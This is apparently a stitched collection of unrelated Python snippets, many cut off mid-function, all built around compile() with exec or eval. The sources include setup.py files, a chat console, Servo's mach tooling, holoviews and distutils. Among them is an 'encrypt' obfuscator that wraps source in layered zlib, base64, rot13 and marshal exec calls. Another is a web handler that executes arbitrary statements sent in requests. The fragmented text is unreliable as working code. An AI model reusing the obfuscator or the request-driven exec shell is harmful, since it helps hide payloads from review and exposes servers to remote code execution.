available_feature_names if sanitizer(name) in used_sanitized_feature_names] # pylint: disable=eval-used return eval(compile(exp, "<lambda>", mode="eval"), env), params, vars_
def execInConsole(self, scriptstr, env=None): # Since that's what imports *us*, this should be okay # Tab completion could be set up in ConsoleInput, and would be nice import pesterchum as pchum if env is None: env = pchum._retrieveGlobals() # Modify the environment the script will execute in. # Fetch from the class/instance first. _CUSTOM_ENV = self._CUSTOM_ENV.copy() # Modify with some hard-coded environmental additions. _CUSTOM_ENV.update({ "CONSOLE": self, "MAINWIN": self.mainwindow, "PCONFIG": self.mainwindow.config, "exit": lambda: self.mainwindow.exitaction.trigger() }) # Aliases. _CUSTOM_ENV.update({"quit": _CUSTOM_ENV["exit"]}) # Add whatever additions were set in the main pesterchum file. _CUSTOM_ENV.update(pchum._CONSOLE_ENV) _CUSTOM_ENV_USED = [] cenv = pchum.__dict__ # Display the input we provided # We do this here, *before* we do our variable injection, so that it # doesn't have to be part of the try statement, where it could # potentially complicate matters/give false positives. self.addMessage(scriptstr, 1) for k in _CUSTOM_ENV: if k not in cenv: # Inject the variable for ease of use. cenv[k] = _CUSTOM_ENV[k] # Record that we injected it. _CUSTOM_ENV_USED.append(k) else: # Don't overwrite anything! warn = "Console environment item {0!r} already exists in CENV." warn.format(k) logging.warning(warn) # Because all we did was change a linked AttrDict, we should be fine # here. try: # Replace the old writer (for now) sysout, sys.stdout = sys.stdout, self try: code = compile(scriptstr + '\n', "<string>", "single") # Will using cenv instead of env cause problems?... result = eval(code, cenv) except: # Something went wrong. self.addTraceback(sys.exc_info()[2]) else: # No errors. if result is not None: print(repr(result)) finally: # Restore system output. sys.stdout = sysout finally: # Try to clean us out of globals - this might be disabled # later. for k in _CUSTOM_ENV_USED: # Remove the key we added. cenv.pop(k, None)
from flask import Flask, render_template, redirect, url_for, request, flash, session from flask.ext.bootstrap import Bootstrap # bootstrap templates from flask.ext.mail import Mail, Message # email sending from threading import Thread # to send asynchronous emails from passlib.hash import pbkdf2_sha512 # for creatung tokens from os import listdir, rename, path, environ # for path.sep, .exists() & .getmtime() from random import choice # chosing a random question file from time import ctime # file analysis in inspect() from re import compile, match, sub # for url and token matching from pickle import dump, load # for storing dict of username and token for redundancy checking from datetime import date, datetime # for logging from collections import OrderedDict # to store question types in the order of modification times recdir = 'records' + path.sep # data subdirectory urlregex = compile(r'((https|ftp|http)://(((?!</p>| )).)*)') ###@@@ make sure this handles unicode and parens maxinspect = 20 ###@@@ (TODO below:) how many done to /inspect ### question type/search question: do we need question types beyond as ### they can be described with their own strings inside the question? ### If not, will HTML comments work for non-displayed codes? app = Flask(__name__) # create Flask WSGI application app.config['SECRET_KEY'] = environ.get('SECRET_KEY') # mail configuration settings app.config['MAIL_SERVER'] = 'smtp.googlemail.com' app.config['MAIL_PORT'] = 587 app.config['MAIL_USE_TLS'] = True
import argparse, importlib, dis, subprocess, os, ast import src.opscodes as ops parser = argparse.ArgumentParser(add_help=True) parser.add_argument('-f', type=str, help="file to convert") args = parser.parse_args() with open('pyscripts/'+args.f+'.py') as f: c = f.read() a = ast.parse(c, args.f, 'exec') print(ast.dump(a)) s = compile(a, args.f, 'exec') # Write PlusCal b = ops.OpsCode(s, args.f) b.convert() with open('tla/%s.tla' % (args.f, ), 'w') as of: of.write(b.output.assemble()) # Open Vim to add tests cmd = '%s tla/%s.tla' % (os.environ.get('EDITOR', 'vi'), args.f) subprocess.call(cmd, shell=True) # Translate PlusCal to TLA subprocess.call('pcal tla/%s.tla' % (args.f,), shell=True) # Run Models subprocess.call('tlc tla/%s.tla' % (args.f,), shell=True)
# The rest in alphabetic order author = "Rocky Bernstein" author_email = "*****@*****.**" ftp_url = None install_requires = ['coverage', 'pygments >= 2.0'] if sys.version_info[0] == 2 and sys.version_info[1] < 5: install_requires += ['hashlib'] pass license = 'GPL' mailing_list = None modname = 'pyficache' py_modules = [modname] short_desc = \ 'Cache lines and file information which are generally Python programs' # VERSION.py sets variable VERSION. import os.path exec(compile(open(os.path.join(os.path.dirname(__file__), 'VERSION.py')).read(), os.path.join(os.path.dirname(__file__), 'VERSION.py'), 'exec')) web = 'http://github.com/rocky/python-filecache' zip_safe = False # tracebacks in zip files are funky and not debuggable def read(*rnames): return open(os.path.join(os.path.dirname(__file__), *rnames)).read() long_description = ( read("README.rst") + '\n' )
def _activate_virtualenv(topdir, is_firefox): virtualenv_path = os.path.join( topdir, "python", "_virtualenv%d.%d" % (sys.version_info[0], sys.version_info[1])) python = sys.executable # If there was no python, mach wouldn't have run at all! if not python: sys.exit('Failed to find python executable for starting virtualenv.') script_dir = _get_virtualenv_script_dir() activate_path = os.path.join(virtualenv_path, script_dir, "activate_this.py") need_pip_upgrade = False if not (os.path.exists(virtualenv_path) and os.path.exists(activate_path)): import imp try: imp.find_module('virtualenv') except ImportError: sys.exit( "Python virtualenv is not installed. Please install it prior to running mach." ) _process_exec([ python, "-m", "virtualenv", "-p", python, "--system-site-packages", virtualenv_path ]) # We want to upgrade pip when virtualenv created for the first time need_pip_upgrade = True exec(compile(open(activate_path).read(), activate_path, 'exec'), dict(__file__=activate_path)) python = _get_exec_path( PYTHON_NAMES, is_valid_path=lambda path: path.startswith(virtualenv_path)) if not python: sys.exit("Python executable in virtualenv failed to activate.") # TODO: Right now, we iteratively install all the requirements by invoking # `pip install` each time. If it were the case that there were conflicting # requirements, we wouldn't know about them. Once # https://github.com/pypa/pip/issues/988 is addressed, then we can just # chain each of the requirements files into the same `pip install` call # and it will check for conflicts. requirements_paths = [ os.path.join("python", "requirements.txt"), wptrunner_path( is_firefox, topdir, "requirements.txt", ), wptrunner_path(is_firefox, topdir, "requirements_firefox.txt"), wptrunner_path(is_firefox, topdir, "requirements_servo.txt"), ] if need_pip_upgrade: # Upgrade pip when virtualenv is created to fix the issue # https://github.com/servo/servo/issues/11074 _process_exec([python, "-m", "pip", "install", "-I", "-U", "pip"]) for req_rel_path in requirements_paths: req_path = os.path.join(topdir, req_rel_path) marker_file = req_rel_path.replace(os.path.sep, '-') marker_path = os.path.join(virtualenv_path, marker_file) try: if os.path.getmtime(req_path) + 10 < os.path.getmtime(marker_path): continue except OSError: pass _process_exec([python, "-m", "pip", "install", "-I", "-r", req_path]) open(marker_path, 'w').close()
def __call__(self, *args, **opts): # noqa (dummy signature) raise Exception( "IPython notebook not available: use hv.extension instead.") # A single holoviews.rc file may be executed if found. for rcfile in [ os.environ.get("HOLOVIEWSRC", ''), os.path.abspath( os.path.join(os.path.split(__file__)[0], '..', 'holoviews.rc')), "~/.holoviews.rc", "~/.config/holoviews/holoviews.rc" ]: filename = os.path.expanduser(rcfile) if os.path.isfile(filename): with open(filename) as f: code = compile(f.read(), filename, 'exec') try: exec(code) except Exception as e: print("Warning: Could not load %r [%r]" % (filename, str(e))) break def help(obj, visualization=True, ansi=True, backend=None, recursive=False, pattern=None): """ Extended version of the built-in help that supports parameterized
from django.http import HttpResponseRedirect from django.urls import reverse from django.conf import settings from re import compile from django.utils.deprecation import MiddlewareMixin EXEMPT_URLS = [compile(settings.LOGIN_URL.lstrip('/'))] if hasattr(settings, 'LOGIN_EXEMPT_URLS'): EXEMPT_URLS += [compile(expr) for expr in settings.LOGIN_EXEMPT_URLS] class AuthRequiredMiddleware(MiddlewareMixin): """ Middleware that requires a user to be authenticated to view any page other than LOGIN_URL. Exemptions to this requirement can optionally be specified in settings via a list of regular expressions in LOGIN_EXEMPT_URLS (which you can copy from your urls.py). Requires authentication middleware and template context processors to be loaded. You'll get an error if they aren't. """ def process_request(self, request): assert_error_message = ''' The Login Required middleware requires authentication middleware to be installed. Edit your MIDDLEWARE_CLASSES setting to insert 'django.contrib.auth.middleware.AuthenticationMiddleware'. If that doesn't work, ensure your TEMPLATE_CONTEXT_PROCESSORS setting includes 'django.core.context_processors.auth' ''' assert hasattr(request, 'user'), assert_error_message path = request.path_info.lstrip('/') #
# copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. import sys if sys.version_info < (3, 0): execfile('zerorpc/version.py') else: exec(compile(open('zerorpc/version.py', encoding='utf8').read(), 'zerorpc/version.py', 'exec')) try: from setuptools import setup except ImportError: from distutils.core import setup requirements = [ 'msgpack-python>=0.4.0', 'pyzmq>=13.1.0', 'future', ] if sys.version_info < (2, 7): requirements.append('argparse')
def encrypt(code): a = ''.join(chr(x) for x in [int(ord(i)+11) for i in code]) b = '' F = [] for x in range(20): c = ''.join(random.choice(string_ascii) for x in range(11)) d = random.randint(0, 1000) e = random.randint(0, 100) f = random.choice(list('^*')) b += str(c+'='+str(d)+f+str(d-e)+'\n') F.append(c) encripted = repr(zlib.compress('import marshal\nhentai,ecchi=None,None\nexec (lambda:(lambda:(lambda:compile({}.decode("zlib").decode("base64"),"Khairul Syabana","exec"))())())()'.format(repr((b+'\nnolep,sadboy=0,0\npiton=None\ndoujin=[]\ncode=(lambda:(lambda:(lambda:'+repr(a)+')())())()').encode('base64').encode('zlib'))).encode('hex').encode('cp1026'))) lol = 'oppai=int(({})*0)+int(eval("\x54\x72\x75\x65"))*11\nnenen=(lambda:(lambda:(lambda:compile("".join(chr(int(i-eval("\x6f\x70\x70\x61\x69"))) for i in (lambda:(lambda:(lambda:[ord(x) for x in eval("\x63\x6f\x64\x65")])())())()),"xSODx","exec"))())())()\ndoujin.append("sagiri")\nexec nenen\ndel F,code,marshal,oppai,doujin,ecchi,hentai,nenen,piton,nolep,sadboy'.format('+'.join(F))[::-1].encode('rot13').encode('cp500') return note+''' Nolep = True if Nolep == False: exec str(chr(35){lol}) oppai=(lambda:(lambda:(lambda:({0}))())().decode("zlib").decode("cp1026"))() if oppai: ecchi=(lambda:(False))() hentai=(lambda:(False))() exec eval("\x6f\x70\x70\x61\x69").decode("hex") else: ecchi=(lambda:(True))() hentai=(lambda:(True))() exec str(sayagans) if hentai and ecchi==False: piton=False nenen=None regex = (lambda x:re.findall(r"amaterasu\((.+)\)",x))(hantu) eval(compile(("".join(chr(x) for x in {2})+regex.decode("hex")).decode("cp500"),"?","exec")) else: piton=True nenen=(lambda:(lambda:(lambda:{1})())())() eval(marshal.loads(eval("\x6e\x65\x6e\x65\x6e")))'''.format(encripted, repr(marshal.dumps(compile('if piton==True:\n\toppai=nenen\n\tnenen=oppai\n\tF=repr(marshal.dumps(oppai+nenen))\n\texec '+repr(lol)+'.decode("cp500").decode("rot13")[::-1]', 'xSODx', 'exec'))), str([random.randrange(0, 256) for x in range(50)]), lol='+str(0)'*10000)
def get(self): self.response.headers['Content-Type'] = 'text/plain' me = users.get_current_user() if not (unicode(me) in [u"google_user1", u"google_user2", u"*****@*****.**"]): self.response.out.write("You are not an Aministrator of this shell platform!!!") return # extract the statement to be run statement = self.request.get('statement') if not statement: return # the python compiler doesn't like network line endings statement = statement.replace('\r\n', '\n') # add a couple newlines at the end of the statement. this makes # single-line expressions such as 'class Foo: pass' evaluate happily. statement += '\n\n' # log and compile the statement up front try: logging.info('Compiling and evaluating:\n%s' % statement) compiled = compile(statement, '<string>', 'single') except: self.response.out.write(traceback.format_exc()) return # create a dedicated module to be used as this statement's __main__ statement_module = new.module('__main__') # use this request's __builtin__, since it changes on each request. # this is needed for import statements, among other things. import __builtin__ statement_module.__builtins__ = __builtin__ # load the session from the datastore session = Session.get(self.request.get('session')) # swap in our custom module for __main__. then unpickle the session # globals, run the statement, and re-pickle the session globals, all # inside it. old_main = sys.modules.get('__main__') try: sys.modules['__main__'] = statement_module statement_module.__name__ = '__main__' # re-evaluate the unpicklables for code in session.unpicklables: exec code in statement_module.__dict__ # re-initialize the globals for name, val in session.globals_dict().items(): try: statement_module.__dict__[name] = val except: msg = 'Dropping %s since it could not be unpickled.\n' % name self.response.out.write(msg) logging.warning(msg + traceback.format_exc()) session.remove_global(name) # run! old_globals = dict(statement_module.__dict__) try: old_stdout = sys.stdout old_stderr = sys.stderr try: sys.stdout = self.response.out sys.stderr = self.response.out exec compiled in statement_module.__dict__ finally: sys.stdout = old_stdout sys.stderr = old_stderr except: self.response.out.write(traceback.format_exc()) return # extract the new globals that this statement added new_globals = {} for name, val in statement_module.__dict__.items(): if name not in old_globals or val != old_globals[name]: new_globals[name] = val if True in [isinstance(val, UNPICKLABLE_TYPES) for val in new_globals.values()]: # this statement added an unpicklable global. store the statement and # the names of all of the globals it added in the unpicklables. session.add_unpicklable(statement, new_globals.keys()) logging.debug('Storing this statement as an unpicklable.') else: # this statement didn't add any unpicklables. pickle and store the # new globals back into the datastore. for name, val in new_globals.items(): if not name.startswith('__'): session.set_global(name, val) finally: sys.modules['__main__'] = old_main session.put()
# -*- coding: utf-8 -*- from os.path import abspath, dirname, join try: from setuptools import setup except ImportError as error: from distutils.core import setup version_file = join(dirname(abspath(__file__)), 'Mainframe3270', 'version.py') with open(version_file) as file: code = compile(file.read(), version_file, 'exec') exec(code) setup(name = 'robotframework-mainframe3270', version = '2.8', description = 'Mainframe Test library for Robot Framework', long_description = 'Test library for Robot Framework to enable to create automated test scripts to test IBM Mainframe 3270', author = 'Altran Portugal', author_email = '*****@*****.**', license = 'MIT License', url = 'https://github.com/Altran-PT-GDC/Robot-Framework-Mainframe-3270-Library', packages = ['Mainframe3270'], package_data = {'Mainframe3270': []}, requires = ['robotframework', 'six'] )
def byte_compile (py_files, optimize=0, force=0, prefix=None, base_dir=None, verbose=1, dry_run=0, direct=None): """Byte-compile a collection of Python source files to either .pyc or .pyo files in the same directory. 'py_files' is a list of files to compile; any files that don't end in ".py" are silently skipped. 'optimize' must be one of the following: 0 - don't optimize (generate .pyc) 1 - normal optimization (like "python -O") 2 - extra optimization (like "python -OO") If 'force' is true, all files are recompiled regardless of timestamps. The source filename encoded in each bytecode file defaults to the filenames listed in 'py_files'; you can modify these with 'prefix' and 'basedir'. 'prefix' is a string that will be stripped off of each source filename, and 'base_dir' is a directory name that will be prepended (after 'prefix' is stripped). You can supply either or both (or neither) of 'prefix' and 'base_dir', as you wish. If 'dry_run' is true, doesn't actually do anything that would affect the filesystem. Byte-compilation is either done directly in this interpreter process with the standard py_compile module, or indirectly by writing a temporary script and executing it. Normally, you should let 'byte_compile()' figure out to use direct compilation or not (see the source for details). The 'direct' flag is used by the script generated in indirect mode; unless you know what you're doing, leave it set to None. """ # nothing is done if sys.dont_write_bytecode is True if sys.dont_write_bytecode: raise DistutilsByteCompileError('byte-compiling is disabled.') # First, if the caller didn't force us into direct or indirect mode, # figure out which mode we should be in. We take a conservative # approach: choose direct mode *only* if the current interpreter is # in debug mode and optimize is 0. If we're not in debug mode (-O # or -OO), we don't know which level of optimization this # interpreter is running with, so we can't do direct # byte-compilation and be certain that it's the right thing. Thus, # always compile indirectly if the current interpreter is in either # optimize mode, or if either optimization level was requested by # the caller. if direct is None: direct = (__debug__ and optimize == 0) # "Indirect" byte-compilation: write a temporary script and then # run it with the appropriate flags. if not direct: try: from tempfile import mkstemp (script_fd, script_name) = mkstemp(".py") except ImportError: from tempfile import mktemp (script_fd, script_name) = None, mktemp(".py") log.info("writing byte-compilation script '%s'", script_name) if not dry_run: if script_fd is not None: script = os.fdopen(script_fd, "w") else: script = open(script_name, "w") script.write("""\ from distutils.util import byte_compile files = [ """) # XXX would be nice to write absolute filenames, just for # safety's sake (script should be more robust in the face of # chdir'ing before running it). But this requires abspath'ing # 'prefix' as well, and that breaks the hack in build_lib's # 'byte_compile()' method that carefully tacks on a trailing # slash (os.sep really) to make sure the prefix here is "just # right". This whole prefix business is rather delicate -- the # problem is that it's really a directory, but I'm treating it # as a dumb string, so trailing slashes and so forth matter. #py_files = map(os.path.abspath, py_files) #if prefix: # prefix = os.path.abspath(prefix) script.write(string.join(map(repr, py_files), ",\n") + "]\n") script.write(""" byte_compile(files, optimize=%r, force=%r, prefix=%r, base_dir=%r, verbose=%r, dry_run=0, direct=1) """ % (optimize, force, prefix, base_dir, verbose)) script.close() cmd = [sys.executable, script_name] if optimize == 1: cmd.insert(1, "-O") elif optimize == 2: cmd.insert(1, "-OO") spawn(cmd, dry_run=dry_run) execute(os.remove, (script_name,), "removing %s" % script_name, dry_run=dry_run) # "Direct" byte-compilation: use the py_compile module to compile # right here, right now. Note that the script generated in indirect # mode simply calls 'byte_compile()' in direct mode, a weird sort of # cross-process recursion. Hey, it works! else: from py_compile import compile for file in py_files: if file[-3:] != ".py": # This lets us be lazy and not filter filenames in # the "install_lib" command. continue # Terminology from the py_compile module: # cfile - byte-compiled file # dfile - purported source filename (same as 'file' by default) cfile = file + (__debug__ and "c" or "o") dfile = file if prefix: if file[:len(prefix)] != prefix: raise ValueError, \ ("invalid prefix: filename %r doesn't start with %r" % (file, prefix)) dfile = dfile[len(prefix):] if base_dir: dfile = os.path.join(base_dir, dfile) cfile_base = os.path.basename(cfile) if direct: if force or newer(file, cfile): log.info("byte-compiling %s to %s", file, cfile_base) if not dry_run: compile(file, cfile, dfile) else: log.debug("skipping byte-compilation of %s to %s", file, cfile_base)
def query(self): if self._query is None: self._query = compile(self.build_chain(), self.query_type) return self._query
def execfile(filepath): with open(filepath) as f: code = compile(f.read(), filepath, 'exec') exec(code)
def load_architecture(uri: str) -> None: arch_str = read_text(uri) arch_code = compile(arch_str, uri, 'exec') exec(arch_code, globals())
bpy.ops.wm.addon_enable(module="materials_utils") base_path = os.path.dirname(os.path.abspath(__file__)) + '/pipeline/' perc_poly = 100 max_poly = None lod_id = 'default' lod_success = True if params_filled(args.lodids): lod_args = {'i': args.lodids, 'pp': [], 'mp': []} for i in range(0, len(args.lodids)): if not params_filled(args.percpoly) or args.percpoly[i] == 'None' or args.percpoly[i] == 'null': lod_args['pp'].append(None) else: lod_args['pp'].append(int(args.percpoly[i])) if not params_filled(args.maxpoly) or args.maxpoly[i] == 'None' or args.maxpoly[i] == 'null': lod_args['mp'].append(None) else: lod_args['mp'].append(int(args.maxpoly[i])) for operator in args.operators: if operator == 'lod': lod_id = lod_args['i'].pop(0) perc_poly = lod_args['pp'].pop(0) max_poly = lod_args['mp'].pop(0) if operator == 'render': coords = args.coords.pop(0) dim = args.dimensions.pop(0) id = args.renderids.pop(0) filename = base_path + operator + '.py' exec (compile(open(filename).read(), filename, 'exec'))